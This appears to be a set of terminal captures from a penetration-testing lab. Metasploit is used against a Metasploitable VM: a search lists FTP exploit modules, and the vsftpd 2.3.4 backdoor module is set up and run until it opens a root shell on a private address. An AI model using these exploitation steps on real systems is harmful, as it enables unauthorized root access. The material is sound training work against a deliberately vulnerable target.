```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
gateway 192.168.1.1

[ Wrote 14 lines ]

msfadmin@metasploitable:~$
```

```
ted Plugin Upload RCE
   1  auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass            2006-08-23       normal     No     Cisco VPN Concentrator 3000 FTP Unautho
rized Administrative Access
   2  exploit/windows/ftp/easyftp_cwd_fixret                          2010-02-16       great      Yes    EasyFTP Server CWD Command Stack Buffer
 Overflow
   3  exploit/windows/ftp/easyftp_list_fixret                         2010-07-05       great      Yes    EasyFTP Server LIST Command Stack Buffe
r Overflow
   4  auxiliary/dos/windows/ftp/guildftp_cwdlist                      2008-10-12       normal     No     Guild FTPd 0.999.8.11/0.999.14 Heap Cor
ruption
   5  exploit/windows/ftp/kmftp_utility_cwd                           2015-08-23       normal     Yes    Konica Minolta FTP Utility 1.00 Post Au
th CWD Command SEH Overflow
   6  exploit/linux/ftp/proftp_sreplace                               2006-11-26       great      Yes    ProFTPD 1.2 - 1.3.0 sreplace Buffer Ove
rflow (Linux)


Interact with a module by name or index. For example info 6, use 6 or use exploit/linux/ftp/proftp_sreplace

msf6 > use exploit/linux/ftp/proftp_sreplacerflow
[-] No results from search
[-] Failed to load module: exploit/linux/ftp/proftp_sreplacerflow
msf6 > use exploit/linux/ftp/proftp_sreplace
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/ftp/proftp_sreplace) > show options

Module options (exploit/linux/ftp/proftp_sreplace):
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.50.101
RHOST => 192.168.50.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 127.0.0.1
[!] Unknown datastore option: LHOST. Did you mean RHOST?
LHOST => 127.0.0.1
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.50.101:21 - The port used by the backdoor bind listener is already open
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:35481 → 192.168.50.101:6200) at 2024-02-19 07:31:06 -0500
```

```
┌──(kali㉿kali)-[~]
└─$ cd /

┌──(kali㉿kali)-[/]
└─$ mkdir test_metasploit
mkdir: cannot create directory ‘test_metasploit’: Permission denied

┌──(kali㉿kali)-[/]
└─$ sudo mkdir test_metasploit

┌──(kali㉿kali)-[/]
└─$ ls
bin   Desktop  DocumentsMs2  home        initrd.img.old  lib32  libx32      media  nicola  proc     root  sbin  swapfile  test_metasploit  usr  vmlinuz
boot  dev      etc           initrd.img  lib             lib64  lost+found  mnt    opt     project  run   srv   sys       tmp              var  vmlinuz.old

┌──(kali㉿kali)-[/]
└─$
```